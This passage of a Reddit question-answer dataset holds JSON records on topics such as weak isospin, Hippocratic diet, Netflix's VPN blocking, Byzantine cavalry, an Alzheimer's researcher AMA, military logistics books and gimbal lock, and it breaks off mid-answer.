W^(-) boson) and it carries away momentum, charge, and isospin. Again, P1 is not the same as P2. In this case P2 would be an up quark.\n\nThere's obviously a lot more nuance to this discussion, but in these examples you can see how isospin is playing the analogous role to color charge, and you can also see how the analogy doesn't work as well to compare to the role played by mass and charge.", "The short answer would be weak isospin.\n\nHowever, it's complicated... The weak interaction doesn't really exist as an independent force, the best description combines it with electromagnetism to form the electroweak interaction. This interaction has two \"types\" of what you might call charge: weak isospin and weak hypercharge. Isospin is bit more complicated mathematically, it has three degrees of freedom. Because of symmetry breaking, weak hypercharge mixes with one component of the weak isospin to yield the electric charge which we are familiar with.\n\nSo, for example, a left-handed neutrino will have electric charge 0 and weak isospin 1/2. So it will not interaction electromagnetically, but it will have a weak interaction. An left-handed electron has charge -1 and weak isospin -1/2, so it will interact with both. \n\nA hypothetical right-handed neutrino would have no electrical charge and no weak isospin. So if it existed, it would be completely sterile, it wouldn't interact with anything!"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Neutral_current"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Flavour_(particle_physics)", "https://en.wikipedia.org/wiki/Flavour\\_(particle\\_physics)"], [], ["https://en.wikipedia.org/wiki/Flavour_(particle_physics)"], []]}
{"q_id": "1vi39d", "title": "Hippocrates prescribed healthy food (among other things) for his ill patients. What kinds of food were considered healthy (and unhealthy) 2400 years ago?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vi39d/hippocrates_prescribed_healthy_food_among_other/", "answers": {"a_id": ["cessez6"], "score": [54], "text": ["Hippocrates, in his *Corpus Hippocraticum*, laid out the foundations for humoral theory that Galen expanded upon and solidified.  The recommendation for diet would depend entirely on the patients' humoral balance.  Men and women both had different humoral balances, too, so even if a man and woman were exhibiting the same symptoms, they might be prescribed different diets.  He usually suggested light or liquid meals during times of illness, and meat was generally avoided while sick.  Again, all of this would depend on the particular illness, the means of the patient (i.e. are they rich enough to afford certain foods?), and what the physician determined was the proper humoral balance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "h36qb", "title": "How and why wonder books - is there a modern equivalent", "selftext": "During my adolescence to mid high-school, I read profusely, over and over, about two dozen how-and-why wonder books. I absolutely loved them and today, I am an armchair physicist and mathematician and my profession is computer science as a result, plus the influence of a few great teachers. These books were great. My 15 yr old son has a deep interest in mathematics and I have had the good fortune of finding a few great mathematics books for him but I have only found one science book of any value [link](_URL_0_). \n\nCan you guys recommend a good book or set of books to broaden my son's understanding? The books should be general and not too technical and approachable by a 15 yr old. His b-day is the end of July, so he'll be 16.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h36qb/how_and_why_wonder_books_is_there_a_modern/", "answers": {"a_id": ["c1s7rb1", "c1s8h2q"], "score": [2, 2], "text": ["You can check out the Eyewitness series, but they might be aimed at people a bit younger. Perhaps \"A Brief History of Nearly Everything\" by Bill Bryson might be a good read.", "The Ancestor's Tale by Richard Dawkins.\nComplications by Atul Gawande.\nGenius which is a Feynman autobiography.\nThe Double Helix by James Watson"]}, "title_urls": [], "selftext_urls": ["http://www.amazon.com/Elements-Visual-Exploration-Every-Universe/dp/1579128149/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1304435213&amp;sr=1-1"], "answers_urls": [[], []]}
{"q_id": "4130ci", "title": "how is it possible for netflix to crack down on all vpns/proxies in an effort to curb users accessing content outside their countries?", "selftext": "Netflix has announced plans to restrict users' access to content outside their home country (_URL_0_, _URL_1_), which has upset many international viewers because their content selection can be very limited.  \n\nHow is it possible to even do this? There are so many IPs from all the available Proxies and VPN services in all the various countries where Netflix is available. Wouldn't Netflix have a Sisyphean struggle to constantly identify offending IPs while having to avoid interrupting legitimate users' access?  \n\nFurthermore, how can they possibly determine that a VPN endpoint is being used by a user outside that endpoint's country of origin or by a legitimate user who happens to actually live in the same country as the server being used?  \n\n---\n\nEdit: To clarify, some commenters seem confused about the nature of VPNs. These services are used to intentionally obscure the end user's identifiable information, regardless of whether the intent of the user is legitimate or not. Because of this, it's inherently flawed to assume that Netflix can discern whether a VPN endpoint that connects to their service is being used for the legitimate purpose of avoiding ISP snooping, for example, or for the stated illegitimate purpose of circumventing geographical restrictions.  \n\nCompounding this factor is the fact that VPN nodes can switch IP addresses at any given time, meaning Netflix would engage in a game of cat-and-mouse if they intend to fully block access from blacklisted IPs. It's kind of like saying, \"We found drug dealers on your street so now no one in this area can loiter.\" The drug dealers will just move to the next block and innocent residents are unjustly punished.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4130ci/eli5_how_is_it_possible_for_netflix_to_crack_down/", "answers": {"a_id": ["cyz56bg", "cyz5dxe", "cyz7bqc", "cyzflsg", "cyzpncc"], "score": [37, 6, 4, 3, 3], "text": ["They can never be 100% effective. Hulu has been doing this for years.\n\nBasically they maintain a blacklist of known VPN IP addresses and forbid them from accessing Netflix.\n\nIt's fairly easy for a VPN provider to just get a new IP address, so it will never be completely effective, but it can significantly reduce the amount of traffic not originating from the country of that region's Netflix catalog.\n\nIt's pretty annoying because Netflix has generally looked the other way to VPN and proxy use. Because of weird licensing rules they have to license titles separtely in different countries and territories. \n\nIt seems like with their recent expansion to almost every country, content providers are most likely being more difficult regarding geo-blocking.", "They don't need to stop *all* the proxies, they just need to stop the major commercial proxies to get 90% of the proxy traffic.  They're never going to tell if somebody's got a VPN into their company's New York office but *they don't care* - they care about the company that's charging $5 to get around region locked content  &  they're sending 10,000 users at a time in.", "Seems easy to me.  When you sign up for Netflix, your country of origin is the only one they let your account view from.  Problem solved.  If you proxy through the UK, but you are a Canadian Netflix user, then your account gives you an error message.  Yeah, international travel becomes an issue, which ironically a proxy would solve for you, but whatever.", "Couldn't they just compare your address from your payment method to what the server is reporting?\n\nSeems rather easy.  Oh this customer is using a card that is based in India, but the server keeps reporting Teaxs.", "What scares me is the precedent being set. More people are VPNing for privacy and also for speed (if your ISP inspects traffic patterns or ports and then slows down particular services ) and obviously also for geo restrictions. Then we have Netflix making people seem evil for using them and the government calling for a war on encryption standards. It's a bit scary."]}, "title_urls": [], "selftext_urls": ["http://www.theverge.com/2016/1/14/10767982/netflix-blocking-proxies-vpn-country-restrictions", "http://www.bbc.com/news/technology-35320436"], "answers_urls": [[], [], [], [], []]}
{"q_id": "3jeih6", "title": "the process for officially renaming places in the united states", "selftext": "In the wake of President Obama renaming Alaska's Mt. McKinley to Denali, I was curious if it really is *that* easy to rename things in the United States. Can the president single-handedly decide to rename whatever he wishes?  It appears most Alaskans prefer the name Denali, and many have tried to get it renamed for decades, to no avail. So how was it this easy for the president to decide to rename it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jeih6/eli5_the_process_for_officially_renaming_places/", "answers": {"a_id": ["cuojpto", "cuomxt0"], "score": [4, 2], "text": ["Basically, Alaskan state govt. asked the United States Board on Geographic Names (which operates under the secretary of the interior) to change it. An Ohio Congressman (Ralph Regula) convinced the then secretary of the interior to oppose the change. \n\nHe then basically took advantage of some rules in the BGN that allowed him to block future attempts at a name change. \n\nAfter Regula retired in 2009, the movement to rename to mountain perked up again but continued to be blocked in the BGN by Ohio congresspeople. \n\nSally Jewell, the secretary of the interior, has the power to name things directly if the BGN does not act on a request in a \"reasonable\" time period. This is how the Obama administration forced the change.", "In this case, it was a lot easier, as there was local support for the change, and all eponymous people (like president mcKinley) were long dead.\n\nFor a more tortuous process, see the story of [Piestewa Peak](_URL_1_) in Phoenix, Arizona. That one [took five years](_URL_2_).\n\nOf course, one could argue that the McKinley/Denali renaming wasn't single-handed or easy at all -- [it took forty f***ing years](_URL_0_)!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Denali%E2%80%93Mount_McKinley_naming_dispute#Alaska_Board_of_Geographic_Names_attempts_to_change_name", "https://en.wikipedia.org/wiki/Piestewa_Peak#Name", "http://archive.azcentral.com/community/phoenix/articles/2008/04/10/20080410piestewa.html?nclick_check=1"]]}
{"q_id": "2x9cd2", "title": "When did pens become commonplace?", "selftext": "When did we move away from the feather and ink pot and towards the modern idea of a pen? When would pens have become commonplace? When would the feather and ink pot have started being viewed as old fashioned?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2x9cd2/when_did_pens_become_commonplace/", "answers": {"a_id": ["coy43wn"], "score": [3], "text": ["How are you thinking of \"pen?\" A writing instrument with a self-contained reservoir for ink so that you don't have to dip? The first pens were dip pens, which worked on the same principles as the quill and ink pot. They are a very old idea. You dip it in the ink and write until you run out of ink. \n\nIf, as I'm guessing, you're thinking of fountain pens, there were many methods of containing ink in the body of the pen invented through the ages, but the inventor of the first modern fountain pen is usually given as Lewis Waterman, in 1883. [Their company website makes a big to-do about it.](_URL_2_) Prior to that most fountain pens were fussy and spitty and not very popular. His was a commercial success and brands began duking it out over fountain pen designs. The fountain pen and the dip pen co-existed for a while though. So maybe around 1900-1910 for when the self-contained pen took over. \n\n[Check out this neat site on US president's pens.](_URL_1_) Sort of an interesting snapshot of the evolution of writing instruments. \n\nThere's not a lot of books on fountain pens actually, but [this guy](_URL_0_) is the go-to Internet expert for fountain pen collecting. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.richardspens.com/?page=ref/history/war_and_fp.htm", "http://www.kamakurapen.com/Presidents/Presidents_Pens.html", "http://www.waterman.com/en/content/9-the-heritage"]]}
{"q_id": "3d8j6m", "title": "I've just been accepted into the Byzantine Cataphracts, say 554 CE, what rations, work load, pay would I expect, and what sorts of walks of life would my peers have come from? Especially in contrast to the infantrymen on the ground.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3d8j6m/ive_just_been_accepted_into_the_byzantine/", "answers": {"a_id": ["ct2wlfq", "ct2z0g7", "ct35fii", "ct37pmz"], "score": [47, 136, 2, 159], "text": ["Follow-up question.\n    \nWould he receive his money monthly? Bi monthly? Or after his service was up?", "Frustratingly, I know exactly where to look for the answer, but I have now lost access to my university library and so cannot look at the sources. For what it is worth, a contemporary late sixth-century military treatise, the *Strategikon* (attributed to the emperor Maurice and probably written by someone in his inner circle), talked a lot about the organisation of the army, particularly the cavalry, whilst Michael Whitby's book chapter, 'Recruitment in Roman Armies from Justinian to Heraclius (ca. 565-615)' in A. Cameron (ed.) *The Byzantine and Early Islamic Near East III: States, Resources and Armies* (1995), dealt with recruitment in this period. I can talk a bit about the more general aspects of army life, but I suspect /u/HatMaster12 knows far more about this than I do.", "Another follow-up. What would be a difference in status between the \"regulars\" and bucellarii?", "To begin, I would like to say that this is an excellent question, as the sixth century is a transformative period in Roman military history. As /u/Shlin28 correctly mentions, our best source for this period is a military manual known as the *Strategikon*, written by, or on the orders of, the emperor Maurice. I will be drawing heavily on upon it, though it is worth stating from the start that it is difficult to determine how closely the ideals described in it reflected reality.\n \nBefore we start, I think it is important to address a few points regarding the terms \u201cByzantine\u201d and \u201ccataphract.\u201d While there is absolutely nothing wrong with describing the medieval Roman state as Byzantium, in the date you set, 554 A.D., Rome is still organized, politically and militarily, along lines similar with the rest of the Late Antique period. The empire of Justinian bears far greater resemblance to that of Constantine I than of Basil I. One of the reasons Byzantine is such a useful term (when unpacked of previous discarded assumptions) is because the medieval Roman state was quite different (in many respects) than it\u2019s Late Antique predecessor. Therefore, the army of the sixth century bears closer resemblance to that of the fourth century, rather than that of later, more \u201cByzantine\u201d periods. This is especially true for cavalry. There are several important differences in equipment, organization, and overall tactical role between Byzantine *klibanophoroi* of Nikephoros II Phokas and those of Justinian. Although there are changes that I will discuss below, in general, Roman cavalry of this period belong to Late Antiquity.\n \nBy the time of Justinian, it is evident that cavalry had increased both numerically and doctrinally. Procopius extolls the excellence of Belisarius\u2019s cavalry, and the *Stategkion* focuses at length on cavalry dispositions. But while the elevated tactical importance of cavalry is clear, the core of Roman armies in this period remained infantry. Numerically, infantry regiments continued to be larger than cavalry, with a paper-strength of around a thousand, compared to around three to five hundred for cavalry. Although cavalry had become especially useful in the \u201clow-intensity\u201d conflicts that characterized Italy and the Balkans, it could never supplant the important tactical role played by infantry in pitched battles, or in rough or heavily wooded terrain. The continued importance of infantry is also borne out in the recorded size of armies. The army sent to North Africa in 533 was comprised of 10,000 infantry and 6,000 cavalry, while that at Busta Gallorum in 552, according to Procopius, had approximately 8,000 infantry and 1,500 cavalry. For a comparison, Julian\u2019s army at Strasbourg in 357 is recorded as having 10,000 infantry and 3,000 cavalry. So while it is clear that cavalry had increased in importance, likely becoming more effective on the battlefield (though I would hesitate to push that point too far), it is clear that infantry continued to play a vital role.\n \nMost cavalry of this period were, to quote Elton, \u201ccontact cavalry,\u201d armed with lance and sword to directly engage an enemy. Although the *Strategikon* places great emphasis on archery, it is clear that not every trooper would have received the rather comprehensive archery training it details, although most were likely equipped with a bow. Aside from being quite the logistical feat, the army employed regiments of light cavalry that specialized in the use of missile weapons. Furthermore, the *Strategikon* advises that within a regiment of contact cavalry, only those in the middle elements of the file (Late Roman regiments being organized into files eight-ten men deep) should regard the bow as their primary weapon. Like their infantry counterparts, the leading elements of a cavalry regiment (the *dekarchs*, file leaders; and *pentarchs*, their seconds) were more comprehensively armored, and wielded primarily a lance and sword. In many regiments, their horses would also have been armored, though the extent to which horse armor was used is unclear. It is these men who would have been expected to do the bulk of hand-to-hand combat, and were thus suitably armored.\n \nFor those cavalrymen who did train with the bow, the *Strategikon* details a rather comprehensive program. Speed was prioritized above aim, and cavalrymen train to loose quickly both mounted and on foot. Cavalrymen could choose to shoot using either the \u201cPersian\u201d or \u201cRoman\u201d manner. The Roman manner appears to have been copied from steppe peoples, and involved drawing the bowstring with the thumb and forefinger. The Persian manner involved using the lower three fingers. Cavalrymen also trained to transition quickly between the bow and lance:\n \n*\u201cOn horseback at a run he should fire one or two arrows rapidly and put the strung bow in it\u2019s case, if it is wide enough, or in a half-designed case for this purpose, and then he should grab the spear which he has been carrying on his back. With the strung bow in its case, he should grab the spear in his hand, then quickly replace it on his back, and grab the bow.\u201d* (*Strat* 1.1)\n \nAs these maneuvers took time to master, the *Strategikon* also advises constant training, both on the individual and unit level, preferably in friendly territory.\n \nEquipment continued to be largely provided by the state. Aside from the bow, most Roman cavalry would have been equipped with a lance (the *Strategikon* advises a spare). Bows should be weaker than a man could draw, to prevent him from becoming tired from rapidly shooting. The basic garment of dress remained a loose-fitting long-sleeved tunic in the \u201cAvar\u201d style, though precisely what made the garment \u201cAvar\u201d is unclear. Tunics would have made of linen or wool, and decorated with the patches and roundels that characterized Late Antique military fashion.  The *Strategikon* advises all cavalrymen to wear long hooded mail coats, as well as helmets, a quiver to hold thirty-forty arrows, and a small shield, decorated with the unit\u2019s symbol and/or colors.\n \nThus, the Roman cavalryman of the sixth century was a highly trained soldier with multiple capabilities on the battlefield. Contact cavalry units were trained to engage the enemy, and wore comprehensive armor and practiced complicated battlefield maneuvers. Likewise, they now possessed missile capabilities, though it should be noted that specialist regiments of missile-armed cavalry were also employed. The cavalryman was viewed as elite (at least in precedence). For the first time in Roman history, cavalry became doctrinally dominant, though infantry remained a vital component of the army.\n \nThere is much more about this topic that could be explored, so I tried to keep this as succinct as possible. I\u2019d be happy to answer any follow up questions you may have. I know your post mentioned social background, rations, and pay. For that I\u2019ll need to look into my references at home, so I\u2019d be happy to dig into those later after work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "r5mq9", "title": "AskScience AMA Series: IAMA Alzheimer's researcher who does drug discovery.  AMAA.", "selftext": "I actively do research in an academic setting intended to get an AD therapeutic into the clinic.  I can answer some questions about our approach, but much of it is protected intellectual property I can't talk about openly.  \n\nI'll try to answer any questions about AD, but it's a big field and the nature of specialization means my knowledge of every aspect is limited, so I'll gladly accept corrections from other AD specialists.\n\nEdit: Sorry, I have to get back to research now. Thanks for your great questions, and I'll try to answer more later.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r5mq9/askscience_ama_series_iama_alzheimers_researcher/", "answers": {"a_id": ["c433dli", "c433g3y", "c433jpr", "c433kqs", "c433m2c", "c433vam", "c433zge", "c43423s", "c4348ze", "c434hsx", "c434iof", "c434un2", "c434y8n", "c434ycw", "c4351jd", "c4351km", "c4355n2", "c435643", "c435gvx", "c435nzc", "c436abc", "c436rux", "c43716l", "c4372y8", "c43754l", "c437dd6", "c437i8j", "c437nmx", "c4385s9", "c4386cz", "c4387ee", "c4388ea", "c438dp2", "c438tcj", "c438x33", "c439eu3", "c439j04", "c43a3jc", "c43a6cr", "c43an57", "c43bckw", "c43biv1", "c43bkn0", "c43bv6m", "c43ddvv", "c43fmj9"], "score": [6, 10, 16, 6, 10, 3, 6, 5, 4, 3, 3, 2, 5, 2, 2, 2, 2, 2, 4, 3, 2, 2, 2, 3, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 3, 2, 2, 5, 3, 2, 3, 3, 2, 3, 3], "text": ["What is the Saddest thing you have witnessed in your time (not trying to be insensitiive)?\n\nAlso, what are the chances of there being an effective treatment in the near future?", "Ok, I will ask the obvious ones. How long before cure, what can be done on prevention and what is your stance on debate about causes of the disease? ", "What happened with the [Amyloid-beta vaccine](_URL_1_) and what does its failure say about the potential uses and hype surrounding [Bexarotene](_URL_0_)?", "Which AD drug targets are you (or the field) most optimistic about?", "To what extent are prions involved in AD? I believe they have been [linked](_URL_0_) previously. The notion that proteins can be infectious is both intriguing and terrifying to me.", "How do you investigate plaque buildup in Alzheimer's patients?", "I was curious, but are there any definitive ways to diagnose Alzheimer's (as in a blood test or something, not a doctor following a chart)?\n\nSecondly, I heard someone at a conference once claim he could detect it in very young individuals (ie. 40s) before onset, but I wasn't too interested in going and talking to him at the time. Is this possible or can we not develop a test because there is no cure for it at this time? \n\nThanks :)", "Is there a computational component to AD research? Is there a supercomputer chugging along somewhere trying to brute force the kinematics of plaque aggregation?", "Given the recent failure of a lot of anti-ABeta/plaque drugs in clinical trials, what is your opinion on what new targets to go after? Is anyone pursuing inhibiting a receptor or other protein that mediates ABeta toxicity to cells rather than trying to eliminate the Abeta itself? \n\n", "I have a few questions about Dementia with Lewy bodies. My grandmother suffered from it and since I never met her, I want to know what she died from. Sorry about the bad writing, english is not my first language! \n\n- Is it possible to get it below the age of 30? \n\n- How do the hallucinations work? Would it be possible for people who are suffering from it to see things in other shapes, colours or even make up people? Do they know they are made up from the start?\n\n- Is it possible that hallucinations are on and off for certain days? Like one day they see black apples, the next one green apples etc.?\n\n- What else is there to know about it?\n\nThanks in advance!\n", "We see neuropathology in asympomatic people at surprising levels. And the prevalence of AD is going up and up and up, but so is the age of the population. Do you think AD is inevitable, given enough time? \n\n**EDIT** Wow I destroyed a whole grammar.", "I recently read an article about a guy called Francisco Lopera, who was about to try preventive measures in some families in Colombia which were exhibiting early-onset AD (with stronly genetic reasons).\n\nCan you comment on how realistic is the assumption that the genetic and the sporadic forms can be treated similarly? Any info on the meds involved (the article mentioned only they were working on rats)?\n\n----\nAdditionally, how comparable are the rat models and actual humans? How sure can we be that a treatment will translate well to humans? I recall reading of some huge toxicity problems related to methanol, which was much better metabolized in rats than in humans.", "Does the blood-brain barrier contribute to the difficulty of developing drugs for Alzheimer's?", "Are there any large differences in incidence across populations? I imagine there to be multiple contributions from diet, genetics, environment etc. Just curious if any patterns are evident.", "Has the prevalence of Alzheimer's in our society changed over the past century? Presumably we have more total cases due to an aging population, but if you were to scan a hundred 80-year olds for plaques, would the number of positive hits be the same now as before?", "I'm a chemical engineering student and I'm hoping to do a masters, haven't decided what in yet though. I was just wondering whats the best way to get into drug discovery and development? Also how did you get into the field of drug discovery and do you work for for a pharmaceutical research centre or independent/ college research centre and which would you recommend? Thanks!", "What are the developments in Gary Lynch's [ampakines](_URL_0_)? Any chance those things will be on the market soon?", "Im going to study chemistry with drug discovery after this year of school \n\nCan u talk me over a simplified version of what the drug discovery process entails and how you go about actually discovering / designing drugs ?  ", "Hey man, I'm in a similar area as you but more on the basic science frontier.\n\nWhat are your thoughts on the recent paper out of Gary Landreth's lab using an RXR agonist to signal through APOE and get a very rapid reduction in plaques and improved cognitive function.", "What's your opinion on drugs like rivastigmine, that don't alter the natural course of the disease?", "What's your take on the actual purpose of Amyloid Precursor Protein?  I remember a year or two ago speculation that it might be an antimicrobial peptide (or break down to become an AMP).  Is this a common theory?  Could it be investigated by looking for diversifying selection at the APP gene locus?  ", "Any identified biomarkers in body fluids that could indicate disease if they could be detected (e.g. at low concentration)?", "How did you get involved in this field? You got into Alzheimer's because of personal experience, but what was the road that led to this career (undergrad, grad, etc.)? ", "Which Alzheimer drugs are you aware of that you believe could improve cognition in normal, healthy individuals? \n\nDo you take any nootropics yourself? Which ones, and why?\n\nBased on the current state of the field, what recommendations would you offer to someone looking to minimize their risk of developing Alzheimer's later in life?\n", "As a researcher could you lend any insight into how mitochondrial dna is currently being looked at as a contributing factor and how this is being looked at in terms of focus of drug design?", "Would petascale computing be advantageous to your research?", "Hi, I'm a student at the University of Ottawa and I've had the awesome pleasure of being taught by Dr. Stephanie Bennett who studies the changes in the lipid content of Alzheimer's Disease. Several other professors have said that she is a world leader in her field and her lab has turned out results pointing to several enzymes that are involved in the development and progression of the disease. \n\nTwo questions:\n\n1) is she as famous in the field as I've been lead to believe (have you heard of her?)\n\n2) if yes, what do you think her research? (angle, results, where it could be heading)", "So I know I'm fairly late to this, but I wanted to ask a question if you could possibly answer it sometime. I think your research is completely fascinating! It's one thing that I've been extremely interested in researching (I'm a grad student right now).\n\nOne thing that's been on my mind... have you heard of much research involving music therapy for those with Alzheimer's? I've heard that music is stored in a different place in the brain than memory and there have been stories about those with Alzheimer's (or some other sort of memory-loss) remembering how to play/sing music. Just curious if this could be used as therapy. Or, for example, if it would be possible to at least teach a song to those with Alzheimer's that simply includes their name, where they live, someone to call, etc, so that if they happen to get lost, someone can help them get back home.\n\nDo you find your work enjoyable/rewarding? What steps did you take to get to the position you are in now? I'm just starting off in graduate school and I would love to someday be in a position like you.", "I was going to ask you something.... but I forgot what.", "i do not have a question, but just want to say thank you. My grandmother died of Alzheimer's, and watching the process is something I would not wish on anyone, not even Rick Santorum.", "Do know of any break through drugs that are being tested that show any real promise? My father is 64 years old in the early stages of the disease and I also lost my grandfather because of it. \nHow soon would these drugs, if they existed, be released?\nAnd at what stage of the disease would the drugs be most effective?", "A little story with a question. \n\nSo my Grandmother has Alzheimer's, and she is fairly old, so there is little chance of any cure or drug that will slow halt, etc correct? \nNow from what I understand, this disease is highly transferable, so my mother, who is rounding near 50 could get Alzheimer's. So in about 20 years or so when (well, what I'd assume) it becomes noticeable (if she has it), what do you think will be out there?\n\nWhat about my generation by the time i'm in that age-group? (I'm around 18 now)\n\nI kinda wanna hear what the roadmap is right now for treatment and medicine. \n\nThanks, and thank you for all the work you've already done!", "I read an article once that discussed the potential of stem cells helping with Alzheimer's (I am hesitant to say cure as it was a while ago and I do not remember specific details). I know this may be a bit out of your field, but has there been any progress with this that you are aware of?\n\nMy grandmother passed away a couple years ago from the disease, I was in the room when she passed... It was easily the worst experience of my life. It runs in my family my great grandmother suffered as well, my mother and sister (history with both sides) will both likely suffer from the disease and there's nothing that puts my brother or myself in the clear. That said thank you for everything you do.", "You mention intellectual properties issues. Do you think that some political decisions could speed up the research process ? ", "How did Obama's repeal of the stem cell research restrictions affect your field? Have you witnessed a noticeable increase in progress towards a cure because of this or has the field been mainly unchanged by this? I've always been interested in how policy affects science and it seems like degenerative diseases should be most affected by something like stem cell research. Thanks ", "Given the limitations of animal models you mention, is it even possible to experiment on humans with Alzheimer's? This might seem like a crazy question but if I am writing a living will, can my capable-of-consent present self donate my advanced Alzheimers ready-to-be-euthanized self to be a living Alzheimers research test subject? Would Alzheimers researchers have any use for such a living test subject? Ignoring ethical questions, if large numbers of such test subjects were available, would that help in any way? I'm not suggesting we do this, just trying to understand the limitations we face with our animal models.", "What do you think of Obama's 2025 plan to treat alzheimers (NAPA act)?  ", "As someone who loves protein stability and degradation (HSPs, ubiquitin-proteasome system, autophagy), what do you think about - instead of targeting a-beta - targeting these \"more general\" pathways that seem to become decreasingly well regulated with age, considering that age is still the most important risk factor for AD?\n\nWhile I think it's totally viable, I'm also pretty biased - and as someone directly involved in AD research you probably see these \"promising new approaches\" come and go...", "I was once offered the opportunity to participate in a study in which non-alzheimer's patients took alzheimer's medication.  Is there a possibility that Alzheimer's drugs would have improved my memory nevertheless?\n\nI declined because I was afraid that there would be lasting effects when I discontinued the medication...", "Thank you for all of your work, but please hurry up with the cure. I've lost two grandparents to Alzheimer's. :( My grandma on my dad's side now has it, and it's extremely painful to watch. ", "If Alzheimer meds work on memory, can normal adults take it to increase there cognition and memory? or at least to decrease risk the of Alzheimer?", "What is your view on cannabis?", "Thanks for the thread and all your hard work. I watched my grandmother die from AD and it was terrible.  My father was also diagnosed last year and is now starting to more rapidly lose cognition. He still remembers me in most moments, but often loses memory of my brother and his family. He is taking aricept and we are considering Namenda, but the cost is prohibitive for the perceived benefit.  I am guiding him through some clinical trials and encouraging him to go through the MRIs and lumbar puncture studies not for his benefit, but to help find a cure for this horrible, horrible illness. It is heartbreaking and incredibly sad to have your father forget his own life, family, friends and experiences.  I am watching the man I knew, who taught me so much and knew so much, disappear slowly and painfully. Keep up the important work.", "I remember reading an article that (accurately?) restated a finding that Alzheimer's hits people of high cognitive ability with a particular rapidity.  this article state that, somehow, people who had been very intellectual in life (through some combination of genes and education/environment) tended to go downhill *much* more rapidly than people of more normal intellectual achievement.\n\nThis really worries me.  My mom was something of a polymath at learning languages and got a Ph.D. in Russian.  Her memory got really terrible in the late '90s and today she is undoubtedly at the point of dementia.\n\nI am worried about her and possibly myself in future decades.\n\nIs this finding supported by a lot of evidence?  Or is this a case where the media is overstating or making things up? ", "I am 25, and watched my grandfather go through first the beginning, then secondary stages of Alzheimer's before he ultimately died of old-age.  I'm a fairly bizarre fellow myself in terms of nuances, and mannerisms, and can't help but wonder if I am (or how to identify if I am) exhibiting early signs of the condition.\n\ntldr; How early can one predict the condition before symptoms become prevalent? How does the testing process work if there is one?", "Is there a chance that Alzheimer's is present throughout the patients life but only becomes noticeable/problematic as cells deteriorate (in old age)?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Bexarotene#Alzheimer.27s_disease", "http://www.thelancet.com/journals/lancet/article/PIIS0140-6736\\(08\\)61579-2/fulltext"], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2748841/"], [], [], [], [], [], [], [], [], [], [], [], ["http://osms.otago.ac.nz/index.php/see-more-stories-here/123-ampakines-for-the-prevention-of-memory-disorders"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3d5192", "title": "Book recommendation on the development of military logistics?", "selftext": "Would love to get book recommendations on how military logistics has developed, in particular in Europe. I am particularly interested in medieval to early modern to Napoleonic era, for land warfare, although I also welcome broader coverage. \n\nThanks in advance! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3d5192/book_recommendation_on_the_development_of/", "answers": {"a_id": ["ct1v61x", "ct5ewsc"], "score": [2, 2], "text": ["The classic work on logistics is Martin van Creveld's *Supplying War: Logistics from Wallenstein to Patton* which, as its subtitle implies, approaches the subject very broadly. As is common with such sweeping histories, van Creveld sometimes loses some nuance and made some errors in interpretation and judgement, but the book is still quite important for this topic. Critiques of van Creveld, and much more, are in the anthology *Feeding Mars: Logistics In Western Warfare From The Middle Ages To The Present* edited by John Lynn. Based on a conference on the history of logistics convened in 1990, the contributors broach a number of topics such as the wider historiography of logistics or the logistical systems of the Crusades. Finally, although it is not about logistics per se, John Brewer's *The Sinews of Power: War, Money and the English State, 1688-1783* is a landmark text about the creation of the fiscal-military state in the eighteenth century. In short, Brewer examines how economic resources could translate into military power, which, as the example of Habsburg Spain sometimes demonstrates, was not the easiest of accomplishments. Despite focusing on one state, *The Sinews of Power* is important in regards to the historiography of logistics because it examines how civil state structures are vital for the sustaining military force. ", "Well, you said that broader coverage works too, so here's something from Japan - Karl Friday's *Samurai, Warfare and the State in Early Medieval Japan*, which deals quite well with the development of logistics throughout Japanese history. I've never found a single book dedicated to the development of military logistics, although Friday's book seems to cover quite a bit, dedicating entire sections to the development of Japanese logistics throughout the different periods and markers (e.g. the Genpei war). If you like, I could throw you some small excerpts if you'd like first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "27tacb", "title": "What is \"gimbal lock\" as it pertains to spacecraft, and why is it such a big deal?", "selftext": "I've tried reading _URL_1_ but probably need an easier to understand explanation. I recall watching the movie Apollo 13 and they were always afraid of gimbal lock, but I never understood why, and why it was such a bad thing. Is it still an issue in today's spacecraft?\nThanks!\n\n**Edit:** I read up on [Inertial Navigation Systems](_URL_0_) and think I understand what's going on: the gyroscopes provide information about orientation much like how if you close your eyes in a car you can feel the car turning right or left, and if you know your orientation when you started, you can know which way the car is facing based on this.  Thus if the gimbals \"lock\" together, you no longer have the ability to tell your orientation and thus your ability to navigate is ruined.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27tacb/what_is_gimbal_lock_as_it_pertains_to_spacecraft/", "answers": {"a_id": ["ci45yu5", "ci48ylh", "ci4d59y", "ci4eti7", "ci4gc62"], "score": [206, 2, 64, 14, 7], "text": ["Gyroscopes make use of nested gimbals and a flywheel, which allow a craft to measure its orientation in 3D space because the gyroscope remains in a fixed position because of its angular momentum. However, when using a 3 gimbal system (one rotating about the x, y, and z axes) there is a problem where the rings can line up and become stuck there, again because of the 